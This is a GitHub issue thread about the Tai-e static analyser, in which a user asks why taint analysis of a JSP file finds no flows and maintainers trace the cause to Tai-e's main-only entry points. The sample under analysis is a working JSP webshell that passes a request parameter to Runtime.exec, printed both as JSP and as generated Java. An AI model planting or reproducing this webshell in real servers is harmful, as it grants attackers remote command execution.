pascal-lab/Tai-e

Tai-e did not detect any taint flows

Closed this issue · 6 comments

Overall Description

When I used Tai-e for taint analysis on jsp files, Tai-e did not detect any taint flows.
I'm a beginner in taint analysis, I can't figure out the reason.
any help would be greatly appreciated.

Current Behavior

Tai-e did not detect any taint flows.

Expected Behavior

Tai-e is expected to detect a taint flow in the java file.

Tai-e Version

tai-e-all-0.2.2.jar

Tai-e Arguments

java -jar tai-e-all-0.2.2.jar 
--input-classes=org.apache.jsp.shell_jsp,jakarta.servlet.ServletRequestWrapper,jakarta.servlet.ServletRequest 
-a "pta=cs:2-type;taint-config:/home/abc/taie_tools/taint-config-jsp.yml" 
-cp /home/abc/tomcat_tools/apache-tomcat-10.1.9/work/Catalina/localhost/ROOT/:/home/abc/.m2/repository/javax/servlet/javax.servlet-api/3.1.0/:/home/abc/.m2/repository/:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jasper.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.servlet-api-6.0.0.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.servlet.jsp-api-3.1.1.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.el-api-5.0.1.jar:/home/abc/.m2/repository/org/apache/tomcat/tomcat-api/10.1.19/tomcat-api-10.1.19.jar 
-pp=True

JDK Version

JDK 17

System Environment

CentOS 7.8

Additional Information

The content of taint-config-jsp.yml is below:

sources:
  - { kind: call, method: "<jakarta.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>", index: result }
  - { kind: call, method: "<jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>", index: result }

sinks:
  - { method: "<java.lang.Runtime: java.lang.Process exec(java.lang.String)>", index: 0 }

transfers:
  - { method: "<java.lang.String: java.lang.String concat(java.lang.String)>", from: base, to: result }
  - { method: "<java.lang.String: java.lang.String concat(java.lang.String)>", from: 0, to: result }
  - { method: "<java.lang.String: char[] toCharArray()>", from: base, to: result }
  - { method: "<java.lang.String: void <init>(char[])>", from: 0, to: base }
  - { method: "<java.lang.String: void getChars(int,int,char[],int)>", from: base, to: 2 }
  - { method: "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.String)>", from: 0, to: base }
  - { method: "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.Object)>", from: 0, to: base }
  - { method: "<java.lang.StringBuffer: java.lang.String toString()>", from: base, to: result }
  - { method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>", from: 0, to: base }
  - { method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.Object)>", from: 0, to: base }
  - { method: "<java.lang.StringBuilder: java.lang.String toString()>", from: base, to: result }

The output of Tai-e is shown below:

Tai-e starts ...
Output directory: /home/abc/taie_tools/output
Writing options to /home/abc/taie_tools/output/options.yml

WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance.
Writing log to /home/abc/taie_tools/output/tai-e.log
Writing analysis plan to /home/abc/taie_tools/output/tai-e-plan.yml
WorldBuilder starts ...
Warning: main class was not given!
10732 classes with 108850 methods in the world
WorldBuilder finishes, elapsed time: 3.98s
pta starts ...
Loading taint config from /home/abc/taie_tools/taint-config-jsp.yml
Cannot find source method '<jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>'
TaintConfig:
sources:
  CallSource{<jakarta.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>/result(java.lang.String)}

sinks:
  <java.lang.Runtime: java.lang.Process exec(java.lang.String)>/0

transfers:
  <java.lang.String: java.lang.String concat(java.lang.String)>: base -> result(java.lang.String)
  <java.lang.String: java.lang.String concat(java.lang.String)>: 0 -> result(java.lang.String)
  <java.lang.String: char[] toCharArray()>: base -> result(char[])
  <java.lang.String: void <init>(char[])>: 0 -> base(java.lang.String)
  <java.lang.String: void getChars(int,int,char[],int)>: base -> 2(char[])
  <java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.String)>: 0 -> base(java.lang.StringBuffer)
  <java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.Object)>: 0 -> base(java.lang.StringBuffer)
  <java.lang.StringBuffer: java.lang.String toString()>: base -> result(java.lang.String)
  <java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>: 0 -> base(java.lang.StringBuilder)
  <java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.Object)>: 0 -> base(java.lang.StringBuilder)
  <java.lang.StringBuilder: java.lang.String toString()>: base -> result(java.lang.String)

[Pointer analysis] elapsed time: 66.79s
Detected 0 taint flow(s):
TFGDumper starts ...
Source nodes:
Sink nodes:
Dumping /home/abc/taie_tools/output/taint-flow-graph.dot
TFGDumper finishes, elapsed time: 1.13s
-------------- Pointer analysis statistics: --------------
#var pointers:                13,7520 (insens) / 111,3371 (sens)
#objects:                     1,1700 (insens) / 2,8814 (sens)
#var points-to:               645,8989 (insens) / 6214,9618 (sens)
#static field points-to:      7775 (sens)
#instance field points-to:    314,1843 (sens)
#array points-to:             84,7341 (sens)
#reachable methods:           1,5343 (insens) / 16,4739 (sens)
#call graph edges:            8,0342 (insens) / 252,9481 (sens)
----------------------------------------
pta finishes, elapsed time: 73.89s
Tai-e finishes, elapsed time: 78.03s

Taint analysis is performed on shell_jsp.jsp:

<%@ page import="java.io.DataInputStream,java.io.InputStream,java.io.OutputStream" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        out.println("Command: " + cmd + "\n<BR>");                   
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + cmd);
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while (disr != null) {
            out.println(disr);
            disr = dis.readLine();
        }
    }
%>

I use Tomcat to convert shell_jsp.jsp into java file.
The generated java file is below:

/*
 * Generated by the Jasper component of Apache Tomcat
 * Version: Apache Tomcat/10.1.9
 * Generated at: 2024-04-03 14:53:30 UTC
 * Note: The last modified time of this file was set to
 *       the last modified time of the source file after
 *       generation to assist with modification tracking.
 */
package org.apache.jsp;

import jakarta.servlet.*;
import jakarta.servlet.http.*;
import jakarta.servlet.jsp.*;
import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;

public final class shell_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent,
                 org.apache.jasper.runtime.JspSourceImports,
                 org.apache.jasper.runtime.JspSourceDirectives {

  private static final jakarta.servlet.jsp.JspFactory _jspxFactory =
          jakarta.servlet.jsp.JspFactory.getDefaultFactory();

  private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;

  private static final java.util.Set<java.lang.String> _jspx_imports_packages;

  private static final java.util.Set<java.lang.String> _jspx_imports_classes;

  static {
    _jspx_imports_packages = new java.util.HashSet<>();
    _jspx_imports_packages.add("jakarta.servlet");
    _jspx_imports_packages.add("jakarta.servlet.http");
    _jspx_imports_packages.add("jakarta.servlet.jsp");
    _jspx_imports_classes = new java.util.HashSet<>();
    _jspx_imports_classes.add("java.io.OutputStream");
    _jspx_imports_classes.add("java.io.DataInputStream");
    _jspx_imports_classes.add("java.io.InputStream");
  }

  private volatile jakarta.el.ExpressionFactory _el_expressionfactory;
  private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;

  public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
    return _jspx_dependants;
  }

  public java.util.Set<java.lang.String> getPackageImports() {
    return _jspx_imports_packages;
  }

  public java.util.Set<java.lang.String> getClassImports() {
    return _jspx_imports_classes;
  }

  public boolean getErrorOnELNotFound() {
    return false;
  }

  public jakarta.el.ExpressionFactory _jsp_getExpressionFactory() {
    if (_el_expressionfactory == null) {
      synchronized (this) {
        if (_el_expressionfactory == null) {
          _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
        }
      }
    }
    return _el_expressionfactory;
  }

  public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
    if (_jsp_instancemanager == null) {
      synchronized (this) {
        if (_jsp_instancemanager == null) {
          _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
        }
      }
    }
    return _jsp_instancemanager;
  }

  public void _jspInit() {
  }

  public void _jspDestroy() {
  }

  public void _jspService(final jakarta.servlet.http.HttpServletRequest request, final jakarta.servlet.http.HttpServletResponse response)
      throws java.io.IOException, jakarta.servlet.ServletException {

    if (!jakarta.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
      final java.lang.String _jspx_method = request.getMethod();
      if ("OPTIONS".equals(_jspx_method)) {
        response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
        return;
      }
      if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method)) {
        response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
        response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS");
        return;
      }
    }

    final jakarta.servlet.jsp.PageContext pageContext;
    jakarta.servlet.http.HttpSession session = null;
    final jakarta.servlet.ServletContext application;
    final jakarta.servlet.ServletConfig config;
    jakarta.servlet.jsp.JspWriter out = null;
    final java.lang.Object page = this;
    jakarta.servlet.jsp.JspWriter _jspx_out = null;
    jakarta.servlet.jsp.PageContext _jspx_page_context = null;
    
    
    try {
      response.setContentType("text/html");
      pageContext = _jspxFactory.getPageContext(this, request, response,
                        null, true, 8192, true);
      _jspx_page_context = pageContext;
      application = pageContext.getServletContext();
      config = pageContext.getServletConfig();
      session = pageContext.getSession();
      out = pageContext.getOut();
      _jspx_out = out;

      out.write('\n');

    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        out.println("Command: " + cmd + "\n<BR>");
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + cmd);
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while (disr != null) {
            out.println(disr);
            disr = dis.readLine();
        }
    }

      out.write('\n');
    } catch (java.lang.Throwable t) {
      if (!(t instanceof jakarta.servlet.jsp.SkipPageException)){
        out = _jspx_out;
        if (out != null && out.getBufferSize() != 0)
          try {
            if (response.isCommitted()) {
              out.flush();
            } else {
              out.clearBuffer();
            }
          } catch (java.io.IOException e) {}
        if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
        else throw new ServletException(t);
      }
    } finally {
      _jspxFactory.releasePageContext(_jspx_page_context);
    }
  }
} 

Tomcat, JBoss and other java web frameworks mainly use a dynamic way to process .jsp file. They compile .jsp to class file in memory and then loading & executing them.

Tai-e cannot automaticly generate .class file from .jsp file. Tai-e will just ignore .jsp in --input-classes. I suggest

  • compiling .jsp to .class file. See this article.
  • adding the compiled .class file to --input-classes of Tai-e's argument

Thank you very much for your detailed instruction.

I did as you suggested, but it still did not work.

I generated .class file from .jsp file, and the name of the compiled class is org.apache.jsp.shell_jsp, which is added to the input-classes argument of Tai-e.

Moreover, the compiled .class file (org.zip) is in path /home/abc/tomcat_tools/apache-tomcat-10.1.9/work/Catalina/localhost/ROOT/, which is also added to the cp argument of Tai-e.

The arguments of Tai-e stay the same as those in the initial issue I posted:

java -jar tai-e-all-0.2.2.jar 
--input-classes=org.apache.jsp.shell_jsp,jakarta.servlet.ServletRequestWrapper,jakarta.servlet.ServletRequest 
-a "pta=cs:2-type;taint-config:/home/abc/taie_tools/taint-config-jsp.yml" 
-cp /home/abc/tomcat_tools/apache-tomcat-10.1.9/work/Catalina/localhost/ROOT/:/home/abc/.m2/repository/javax/servlet/javax.servlet-api/3.1.0/:/home/abc/.m2/repository/:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jasper.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.servlet-api-6.0.0.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.servlet.jsp-api-3.1.1.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.el-api-5.0.1.jar:/home/abc/.m2/repository/org/apache/tomcat/tomcat-api/10.1.19/tomcat-api-10.1.19.jar 
-pp=True

Tai-e still did not detect any taint flows. Any help will be greatly appreciated.

I cannot figure out exactly why Tai-e cannot detect this taint flow. However, I notice an output line of Tai-e

Cannot find source method '<jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>'

The <jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)> is your real taint source:

       162: invokeinterface #200,  2          // InterfaceMethod jakarta/servlet/http/HttpServletRequest.getParameter:(Ljava/lang/String;)Ljava/lang/String;
       167: astore        7
       169: aload         7
       171: ifnull        279
       174: aload         4
       176: new           #204                // class java/lang/StringBuilder
       179: dup
       180: ldc           #206                // String Command:
       182: invokespecial #208                // Method java/lang/StringBuilder."<init>":(Ljava/lang/String;)V
       185: aload         7
       187: invokevirtual #210                // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
       190: ldc           #214                // String \n<BR>
       192: invokevirtual #210                // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
       195: invokevirtual #216                // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
       198: invokevirtual #219                // Method jakarta/servlet/jsp/JspWriter.println:(Ljava/lang/String;)V
       201: invokestatic  #222                // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
       204: new           #204                // class java/lang/StringBuilder
       207: dup
       208: ldc           #228                // String cmd.exe /c
       210: invokespecial #208                // Method java/lang/StringBuilder."<init>":(Ljava/lang/String;)V
       213: aload         7
       215: invokevirtual #210                // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
       218: invokevirtual #216                // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
       221: invokevirtual #230                // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
       224: astore        8
       226: aload         8
       228: invokevirtual #234                // Method java/lang/Process.getOutputStream:()Ljava/io/OutputStream;

Can you ensure the file jakarta.servlet.http.HttpServletRequest has been included in your -cp dirs?

Thank you very much for your quick reply.

The jar file containing class jakarta.servlet.http.HttpServletRequest is jakarta.servlet-api-6.0.0.jar, but I did NOT include jakarta.servlet-api-6.0.0.jar in my -cp dirs.

Thanks for your reminder, now I included jakarta.servlet-api-6.0.0.jar in my -cp dirs.

However, Tai-e's output stayed the same and still did not detect any taint flows.

Could you please help me check if there are any steps I did wrong? Thank you very much.

More information

I also reorganized the locations of class files and jar files to make it clear:
I put the class file of the webshell in the path /home/abc/jsp_taint_analysis/input_class_files/,

[abc@xyz jsp_taint_analysis]$   ls -lh input_class_files/
total 0
drwxr-x---. 3 abc abc 20 Apr  2 20:49 org

and also put all the jar dependencies in the path /home/abc/jsp_taint_analysis/input_jars/.

[abc@xyz jsp_taint_analysis]$   ls -lh input_jars/
total 1.1M
-rw-r--r--. 1 abc abc  87K May 27 14:20 jakarta.el-api-5.0.1.jar
-rw-r--r--. 1 abc abc 340K May 27 14:19 jakarta.servlet-api-6.0.0.jar
-rw-r--r--. 1 abc abc  70K May 27 14:20 jakarta.servlet.jsp-api-3.1.1.jar
-rw-r-----. 1 abc abc 557K May 27 14:19 jasper.jar
-rw-rw-r--. 1 abc abc  12K May 27 14:20 tomcat-api-10.1.19.jar

input_class_files, input_jars together with taint-config-jsp.yml are in the same path, namely, jsp_taint_analysis(jsp_taint_analysis.zip) .

I also changed the path of class files and jar files in Tai-e arguments correspondingly.

Tai-e's arguments

Now Tai-e's aruguments are as below:

java -jar tai-e-all-0.2.2.jar 
--input-classes=org.apache.jsp.shell_jsp,jakarta.servlet.ServletRequestWrapper,jakarta.servlet.ServletRequest 
-a "pta=cs:2-type;taint-config:/home/abc/jsp_taint_analysis/taint-config-jsp.yml" 
-cp /home/abc/jsp_taint_analysis/input_class_files/:/home/abc/jsp_taint_analysis/input_jars/jasper.jar:/home/abc/jsp_taint_analysis/input_jars/jakarta.el-api-5.0.1.jar:/home/abc/jsp_taint_analysis/input_jars/jakarta.servlet-api-6.0.0.jar:/home/abc/jsp_taint_analysis/input_jars/jakarta.servlet.jsp-api-3.1.1.jar:/home/abc/jsp_taint_analysis/input_jars/tomcat-api-10.1.19.jar 
-pp=True

Tai-e's output

Tai-e's output stayed the same and still did not detect any taint flows:

Tai-e starts ...
Output directory: /home/abc/jsp_taint_analysis/output
Writing options to /home/abc/jsp_taint_analysis/output/options.yml
WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance.
Writing log to /home/abc/jsp_taint_analysis/output/tai-e.log
Writing analysis plan to /home/abc/jsp_taint_analysis/output/tai-e-plan.yml
WorldBuilder starts ...
Warning: main class was not given!
10732 classes with 108850 methods in the world
WorldBuilder finishes, elapsed time: 3.56s
pta starts ...
Loading taint config from /home/abc/jsp_taint_analysis/taint-config-jsp.yml
Cannot find source method '<jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>'
TaintConfig:
sources:
  CallSource{<jakarta.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>/result(java.lang.String)}

sinks:
  <java.lang.Runtime: java.lang.Process exec(java.lang.String)>/0

transfers:
  <java.lang.String: java.lang.String concat(java.lang.String)>: base -> result(java.lang.String)
  <java.lang.String: java.lang.String concat(java.lang.String)>: 0 -> result(java.lang.String)
  <java.lang.String: char[] toCharArray()>: base -> result(char[])
  <java.lang.String: void <init>(char[])>: 0 -> base(java.lang.String)
  <java.lang.String: void getChars(int,int,char[],int)>: base -> 2(char[])
  <java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.String)>: 0 -> base(java.lang.StringBuffer)
  <java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.Object)>: 0 -> base(java.lang.StringBuffer)
  <java.lang.StringBuffer: java.lang.String toString()>: base -> result(java.lang.String)
  <java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>: 0 -> base(java.lang.StringBuilder)
  <java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.Object)>: 0 -> base(java.lang.StringBuilder)
  <java.lang.StringBuilder: java.lang.String toString()>: base -> result(java.lang.String)

[Pointer analysis] elapsed time: 61.92s
Detected 0 taint flow(s):
TFGDumper starts ...
Source nodes:
Sink nodes:
Dumping /home/abc/jsp_taint_analysis/output/taint-flow-graph.dot
TFGDumper finishes, elapsed time: 0.94s
-------------- Pointer analysis statistics: --------------
#var pointers:                13,7520 (insens) / 111,3371 (sens)
#objects:                     1,1700 (insens) / 2,8814 (sens)
#var points-to:               645,8989 (insens) / 6214,9618 (sens)
#static field points-to:      7775 (sens)
#instance field points-to:    314,1843 (sens)
#array points-to:             84,7341 (sens)
#reachable methods:           1,5343 (insens) / 16,4739 (sens)
#call graph edges:            8,0342 (insens) / 252,9481 (sens)
----------------------------------------
pta finishes, elapsed time: 68.67s
Tai-e finishes, elapsed time: 72.39s

Sorry for giving some misleading information before. The getParameter method of jakarta.servlet.http.HttpServletRequest is inherit from jakarta.servlet.ServletRequest, so <jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)> cannot be resolved, and it's ok.

The real problem here is that Tai-e can only set entrypoint to main() method, and your org.apache.jsp.shell_jsp will not be analyzed by just adding to --input-classes args (this just bringorg.apache.jsp.shell_jsp class to possible analysis scope of Tai-e).

You can solve this problem by injecting a new plugin to Tai-e. See here and the blog.

Thank you very much for your instruction. I will try injecting a new plugin as you suggested.